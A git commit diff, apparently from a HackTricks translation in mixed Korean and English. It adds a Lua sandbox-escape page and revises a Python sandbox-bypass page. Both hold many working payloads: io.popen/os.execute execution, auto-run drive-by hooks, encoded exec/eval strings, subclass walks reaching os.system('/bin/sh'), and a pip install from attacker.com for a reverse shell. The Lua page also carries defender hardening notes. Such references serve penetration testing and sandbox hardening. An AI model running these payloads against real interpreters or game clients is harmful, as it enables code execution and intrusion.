Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-09-03 10:53:51 +00:00
parent 702f498028
commit 134986a1f5
3 changed files with 213 additions and 103 deletions

View File

@ -80,6 +80,8 @@
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -926,13 +928,4 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

View File

@ -0,0 +1,115 @@
# Bypass Lua sandboxes (embedded VMs, game clients)
{{#include ../../../banners/hacktricks-training.md}}
이 페이지는 애플리케이션(특히 game clients, plugins, 또는 in-app scripting engines)에 내장된 Lua "sandboxes"를 열거하고 탈출하는 실전 기법을 모아놓은 것이다. 많은 엔진이 제한된 Lua 환경을 노출하지만, 강력한 globals에 접근을 허용해 io/os 같은 것이 열려 있거나 bytecode loaders가 노출되면 임의 명령 실행이나 심지어 네이티브 메모리 손상까지 가능하게 되는 경우가 있다.
Key ideas:
- VM을 미지의 환경으로 취급하라: _G를 열거하고 어떤 위험한 primitives에 접근할 수 있는지 발견하라.
- stdout/print가 차단된 경우, 결과를 관찰하기 위해 in-VM UI/IPC 채널을 출력 싱크로 남용하라.
- io/os가 노출되어 있다면, 보통 io.popen, os.execute를 통해 직접 명령 실행이 가능하다.
- load/loadstring/loadfile가 노출되어 있다면, 조작된 Lua bytecode를 실행해 일부 버전(≤5.1의 verifier는 우회 가능; 5.2는 verifier 제거)에서 메모리 안전성을 무너뜨려 고급 익스플로잇을 가능하게 할 수 있다.
## Enumerate the sandboxed environment
- 접근 가능한 테이블/함수들을 목록화하기 위해 global environment를 덤프하라:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
out("=== DUMPING _G ===")
for k, v in pairs(_G) do
out(tostring(k) .. " = " .. tostring(v))
end
end
```
- print()를 사용할 수 없는 경우, in-VM 채널을 다른 용도로 전용하세요. 사운드 호출 후에만 채팅 출력이 작동하는 MMO housing script VM의 예로, 다음은 신뢰할 수 있는 출력 함수를 만듭니다:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
-- Some engines require enabling an audio channel before speaking
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
return function(msg)
H.Say(label or 1, msg)
end
end
function OnMenu(menuNum)
if menuNum ~= 3 then return end
local out = ButlerOut(1)
dump_globals(out)
end
```
대상에 대해 이 패턴을 일반화하세요: 문자열을 입력받는 textbox, toast, logger 또는 UI callback은 정보수집을 위한 stdout으로 사용할 수 있습니다.
## io/os가 노출된 경우 직접 명령 실행
만약 sandbox가 여전히 표준 라이브러리 io 또는 os를 노출하고 있다면, 대개 즉시 명령을 실행할 수 있습니다:
```lua
-- Windows example
io.popen("calc.exe")
-- Cross-platform variants depending on exposure
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
참고:
- 실행은 client process 내부에서 발생합니다. external debuggers를 차단하는 많은 anti-cheat/antidebug 계층이 in-VM process creation을 막지 못할 수 있습니다.
- 또한 확인: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
## Zero-click triggers via auto-run callbacks
호스트 애플리케이션이 scripts를 clients로 푸시하고 VM이 auto-run hooks (예: OnInit/OnLoad/OnEnter)를 노출하면, 스크립트가 로드되는 즉시 drive-by compromise를 위해 payload를 거기에 배치하세요:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
스크립트가 클라이언트로 전송되어 자동으로 실행될 때, OnLoad, OnEnter 등의 동등한 콜백이 이 기법을 일반화합니다.
## recon 중 찾아야 할 위험한 프리미티브
During _G enumeration, specifically look for:
- io, os: io.popen, os.execute, 파일 I/O, 환경 변수 접근.
- load, loadstring, loadfile, dofile: 소스 또는 바이트코드 실행; 신뢰할 수 없는 바이트코드 로딩 지원.
- package, package.loadlib, require: 동적 라이브러리 로딩 및 모듈 인터페이스.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, 및 hooks.
- LuaJIT-only: ffi.cdef, ffi.load를 사용해 네이티브 코드를 직접 호출.
Minimal usage examples (if reachable):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
print(f()) -- 2
-- loadstring is alias of load for strings in 5.1
local bc = string.dump(function() return 0x1337 end)
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
print(g())
-- Load native library symbol (if allowed)
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Optional escalation: abusing Lua bytecode loaders
When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts:
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
이 경로는 엔진/버전별(engine/version-specific) 특성이 강하고 RE가 필요하다. 심층 분석, exploitation primitives, 게임 내 예제 gadgetry 등은 아래 references를 참조하라.
## Detection and hardening notes (for defenders)
- Server side: 사용자 스크립트를 거부하거나 재작성; 안전한 API만을 allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi를 제거하거나 bind-empty로 처리.
- Client side: minimal _ENV로 Lua를 실행; bytecode loading 금지; 엄격한 bytecode verifier나 서명 검사를 재도입; 클라이언트 프로세스에서의 프로세스 생성 차단.
- Telemetry: script load 직후 gameclient → child process creation에 대해 경보; UI/chat/script 이벤트와 상관관계 분석.
## References
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,13 @@
# Bypass Python sandboxes
# Python sandboxes 우회하기
{{#include ../../../banners/hacktricks-training.md}}
다음은 python sandbox 보호를 우회하고 arbitrary commands를 실행하기 위한 몇 가지 트릭입니다.
다음은 python sandbox 보호를 우회하고 임의의 명령을 실행하기 위한 몇 가지 트릭입니다.
## Command Execution Libraries
가장 먼저 확인해야 할 것은 이미 import된 라이브러리로 직접 코드를 실행할 수 있는지, 아니면 다음 라이브러리들을 import할 수 있는지 여부입니다:
## 명령 실행 라이브러리
가장 먼저 알아야 할 것은 이미 import된 라이브러리로 직접 코드를 실행할 수 있는지, 또는 다음 라이브러리들을 import할 수 있는지 여부입니다:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Remember that the _**open**_ and _**read**_ functions can be useful to **파일을 읽는 것** inside the python sandbox and to **코드를 작성**해서 **실행**하여 **bypass**할 수 있다는 것을 기억하세요.
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
> [!CAUTION] > **Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 합니다.
> [!CAUTION] > **Python2 input()** 함수는 프로그램이 크래시하기 전에 python 코드를 실행할 수 있게 합니다.
Python은 **현재 디렉토리에서 먼저 라이브러리를 로드하려고 합니다** (다음 명령은 python이 모듈을 어디에서 로드하는지 출력합니다): `python3 -c 'import sys; print(sys.path)'`
Python은 **현재 디렉토리에서 먼저 라이브러리를 로드**하려고 합니다 (다음 명령은 python이 모듈을 로드하는 위치를 출력합니다): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## 기본 설치된 python 패키지로 pickle sandbox 우회하기
## 기본으로 설치된 python 패키지로 pickle sandbox를 Bypass
### 기본 패키지
여기에서 **사전 설치된** 패키지 목록을 확인할 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html]\
pickle에서는 python env가 시스템에 설치된 임의의 라이브러리를 **import**하도록 만들 수 있다는 점에 유의하세요.\
예를 들어, 다음 pickle은 로드되면 pip 라이브러리를 import하여 사용합니다:
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
For example, the following pickle, when loaded, is going to import the pip library to use it:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +67,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
For more information about how pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
pickle이 어떻게 동작하는지에 대한 자세한 내용은 다음을 확인하세요: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip package
이 트릭은 **@isHaacK**가 공유했습니다
트릭 공유자: **@isHaacK**
만약 `pip` 또는 `pip.main()`에 접근할 수 있다면, 임의의 패키지를 설치하고 다음 호출로 reverse shell을 얻을 수 있습니다:
만약 `pip` 또는 `pip.main()`에 접근할 수 있다면 임의의 패키지를 설치하고 다음을 호출하여 reverse shell을 얻을 수 있습니다:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
You can download the package to create the reverse shell here. Please, note that before using it you should **압축을 해제하고, `setup.py`를 수정하고, reverse shell에 사용할 IP를 넣어야 합니다**:
여기에서 reverse shell을 생성하는 패키지를 다운로드할 수 있습니다. 사용하기 전에 **압축을 풀고, `setup.py`를 수정하여 reverse shell의 IP를 넣어야 합니다**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> 이 패키지`Reverse`라는 이름입니다. 다만 특별히 제작되어 reverse shell을 종료하면 나머지 설치가 실패하도록 되어 있으므로, 종료 시 서버에 추가적인 **python package가 설치된 상태로 남지 않습니다**.
> 이 패키지 이름은 `Reverse`입니다. 그러나 reverse shell에서 나갈 때 설치의 나머지 과정이 실패하도록 특별히 설계되어 있으므로, 떠날 때 서버에 **추가적인 python 패키지가 설치된 채로 남지 않습니다**.
## Eval-ing python 코드
## Eval-ing python code
> [!WARNING]
> exec 멀티라인 문자열과 ";"를 허용하지만, eval은 허용하지 않습니다 (walrus operator를 확인하세요)
> exec 멀티라인 문자열과 ";"를 허용하지만 eval은 허용하지 않습니다 (walrus operator를 확인하세요)
특정 문자가 금지되어 있다면 **hex/octal/B64** 표현을 사용하여 제약을 **bypass**할 수 있습니다:
특정 문자가 금지된 경우 **hex/octal/B64** 표현을 사용하여 제약을 **bypass**할 수 있습니다:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### python 코드를 eval할 수 있게 해주는 다른 라이브러리들
### python code를 eval할 수 있게 해주는 다른 라이브러리들
```python
#Pandas
import pandas as pd
@ -126,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
또한 PDF 생성기에서의 실제 sandboxed evaluator escape 사례를 참조하세요:
또한 PDF 생성기에서 발생한 실제 sandboxed evaluator escape 사례도 참조하세요:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 이는 rl_safe_eval을 악용하여 평가된 속성(예: 글꼴 색상)에서 function.__globals__와 os.system에 접근하고 렌더링을 안정적으로 유지하기 위해 유효한 값을 반환합니다.
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 이 취약점은 rl_safe_eval을 악용해 평가된 속성(예: font color)으로부터 function.__globals__와 os.system에 접근하고, 렌더링을 안정적으로 유지하기 위해 유효한 값을 반환합니다.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -143,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## 인코딩을 통한 보호 우회 (UTF-7)
## 인코딩(UTF-7)을 통한 보호 우회
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 UFT-7이 명백한 샌드박스 안에서 임의의 python 코드를 로드하고 실행하는 데 사용됩니다:
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 UFT-7을 사용하여 표면상 sandbox 내부에서 임의의 python 코드를 로드하고 실행합니다:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -156,11 +157,11 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
다른 인코딩(예: `raw_unicode_escape``unicode_escape`)을 사용하여 이를 우회하는 것도 가능합니다.
다른 인코딩(예: `raw_unicode_escape`, `unicode_escape`)을 사용해 이를 우회할 수도 있습니다.
## Python에서 호출 없이 실행
만약 당신이 **doesn't allow you to make calls** 환경의 python jail에 있다면, 여전히 **execute arbitrary functions, code** 및 **commands**를 실행할 수 있는 방법들이 있습니다.
만약 당신이 **호출을 허용하지 않는 python jail** 안에 있다면, 여전히 **임의의 함수, 코드** 및 **명령**을 실행할 방법이 몇 가지 있습니다.
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -184,13 +185,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE 객체 생성 및 오버로딩
### RCE creating objects and overloading
만약 **클래스를 선언**하고 그 클래스의 **객체를 생성할 수 있다면**, 직접 **호출할 필요 없이** **트리거될 수 있는** **다양한 메서드를 작성/덮어쓸 수 있습니다**.
만약 **declare a class**하고 그 클래스의 **create an object**를 만들 수 있다면, 직접 호출할 **needing to call them directly** 없이 **triggered**될 수 있는 **write/overwrite different methods**를 작성하거나 덮어쓸 수 있습니다.
#### RCE 사용자 정의 클래스를 이용한 방법
#### RCE with custom classes
일부 **클래스 메서드**를 수정하여 (_기존 클래스 메서드를 덮어쓰거나 새 클래스를 생성하는 방식으로_) **트리거될 때** 직접 호출하지 않아도 **임의의 코드를 실행**하도록 만들 수 있습니다.
일부 **class methods**를 (_by overwriting existing class methods or creating a new class_) 수정하여, 직접 호출하지 않고 **triggered**될 때 **execute arbitrary code**하도록 만들 수 있습니다.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)로 객체 생성
metaclasses가 가능하게 해주는 핵심은, 타깃 class를 metaclass로 하는 새로운 class를 만들어 생성자를 직접 호출하지 않고도 **make an instance of a class, without calling the constructor**할 수 있다는 점입니다.
metaclasses가 허용하는 핵심은 대상 클래스를 metaclass로 하는 새 클래스를 만들어, **생성자를 직접 호출하지 않고 클래스의 인스턴스를 만드는 것**입니다.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -257,9 +258,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### 예외를 통해 객체 생성
#### 예외로 객체 생성하기
예외가 **exception is triggered** 될 때, 생성자를 직접 호출하지 않아도 **Exception**의 객체가 **created** 됩니다(이 트릭은 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
**exception**이 발생하면 생성자를 직접 호출할 필요 없이 **Exception** 객체가 **생성**됩니다 (트릭: [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -301,7 +302,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### builtins 도움말 및 라이선스와 함께 파일 읽기
### builtins 도움말 및 라이선스가 포함된 파일 읽기
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -315,17 +316,18 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 import할 수 있습니다 (여기서 마지막 섹션에 나온 다른 문자열 표현을 사용할 수도 있다는 점에 유의하세요):
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 import할 수 있습니다 (여기서 마지막 섹션에 나온 다른 문자열 표현도 사용할 수 있습니다):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### 빌트인 없음
`__builtins__`이 없으면 **모든 전역 함수**(예: `open`, `import`, `print`...)가 로드되지 않기 때문에 어떤 것도 import할 수 없고 파일을 읽거나 쓸 수도 없습니다.\
하지만, **기본적으로 python은 많은 모듈을 메모리에 import**합니다. 이러한 모듈들은 겉으로 보기엔 무해해 보일 수 있지만, 그중 일부는 내부에 접근할 수 있는 위험한 기능들을 **함께 import**하고 있어 심지어 **arbitrary code execution**을 얻는 데 이용될 수 있습니다.
`__builtins__`가 없으면 어떤 것도 import할 수 없고 파일을 읽거나 쓸 수도 없습니다. **모든 전역 함수**(예: `open`, `import`, `print`...)가 **로딩되지 않기 때문입니다**.\
다음 예제들에서는 메모리에 로드된 이러한 "**benign**" 모듈들 중 일부를 어떻게 **abuse**하여 내부의 **dangerous** **functionalities**에 **access**하는지 볼 수 있습니다.
하지만, **by default python imports a lot of modules in memory**. 이러한 모듈들은 겉보기에는 무해해 보일 수 있지만, 그중 일부는 내부에 **also importing dangerous** functionalities를 포함하고 있어 접근하면 심지어 **arbitrary code execution**을 얻을 수 있습니다.
다음 예제들에서는 로드된 이들 일부 "**benign**" 모듈을 어떻게 **abuse**하여 내부의 **dangerous** **functionalities**에 **access**하는지 관찰할 수 있습니다.
**Python2**
```python
@ -367,7 +369,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) **builtins**를 찾을 수 있는 수십/**수백**의 **장소**를 찾아냅니다.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) **builtins**를 찾을 수 있는 수십/**수백**의 **장소**를 찾기 위해.
#### Python2 and Python3
```python
@ -383,9 +385,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals locals
## Globals locals
**`globals`**와 **`locals`**을 확인하는 것은 어떤 항목에 접근할 수 있는지 알아내는 좋은 방법이다.
**`globals`**와 **`locals`**를 확인하는 것은 무엇에 접근할 수 있는지 알 수 있는 좋은 방법이다.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +411,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals)는 **globals**를 찾을 수 있는 수십/**수백**의 **장소**를 찾아주는 더 큰 함수입니다.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 전역 **globals**를 찾을 수 있는 수십/**수백**개의 **장소**를 찾기 위한 더 큰 함수가 아래에 있습니다.
## Arbitrary Execution 발견
## Discover Arbitrary Execution
여기서는 **더 위험한 기능들이 로드되었는지**를 쉽게 발견하는 방법을 설명하고, 보다 신뢰할 수 있는 exploits를 제안합니다.
여기서는 **더 위험한 기능들이 로드된 것들**을 더 쉽게 발견하는 방법을 설명하고, 더 신뢰할 수 있는 익스플로잇을 제안합니다.
#### bypasses로 subclasses에 접근하기
#### Accessing subclasses with bypasses
이 기술에서 가장 민감한 부분 중 하나는 **access the base subclasses**할 수 있는 능력입니다. 이전 예제들에서는 `''.__class__.__base__.__subclasses__()`를 사용해 수행했지만, **다른 가능한 방법들**이 있습니다:
이 기법에서 가장 민감한 부분 중 하나는 기본 **base subclasses**에 접근할 수 있는 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용해서 수행했지만, **다른 가능한 방법들**도 있습니다:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -445,18 +447,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### 로된 위험한 라이브러리 찾기
### 로된 위험한 라이브러리 찾기
예를 들어, 라이브러리 **`sys`****임의의 라이브러리를 import할 수 있다는 것을 알고 있다면**, 내부에서 **`sys`를 import한 로드된 모든 모듈**을 검색할 수 있습니다:
예를 들어, 라이브러리 **`sys`**를 이용하면 **임의의 라이브러리를 import할 수 있다**는 것을 알면, **내부에서 sys를 import한 모든 로드된 모듈**을 검색할 수 있습니다:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
방법이 많지만, **명령을 실행하려면 하나만 있으면 됩니다**:
많은 것들이 있지만, 명령을 실행하려면 **하나만 있으면 됩니다**:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
우리는 **다른 라이브러리**가 **execute commands**에 사용될 수 있다는 것을 알고 있는 경우에도 동일한 작업을 수행할 수 있다:
우리는 우리가 **명령을 실행할 수 있다고 아는** **다른 라이브러리**에도 같은 작업을 수행할 수 있습니다:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +493,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
또한 어떤 모듈이 악성 라이브러리를 로드하고 있는지 검색할 수 있습니다:
또한 어떤 모듈이 악성 라이브러리를 로드하는지 검색할 수 있습니다:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -510,7 +512,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
또한, 만약 **다른 라이브러리들**이 **함수를 호출해 명령을 실행할 수 있다고** 생각된다면, 가능한 라이브러리들 내부에서 **함수 이름으로 필터링**할 수도 있습니다:
또한, 만약 **다른 라이브러리들이** 명령을 실행하기 위해 **함수를 호출할 수 있다고** 판단되면, 가능한 라이브러리들 안에서 **함수 이름으로 필터링**할 수도 있습니다:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
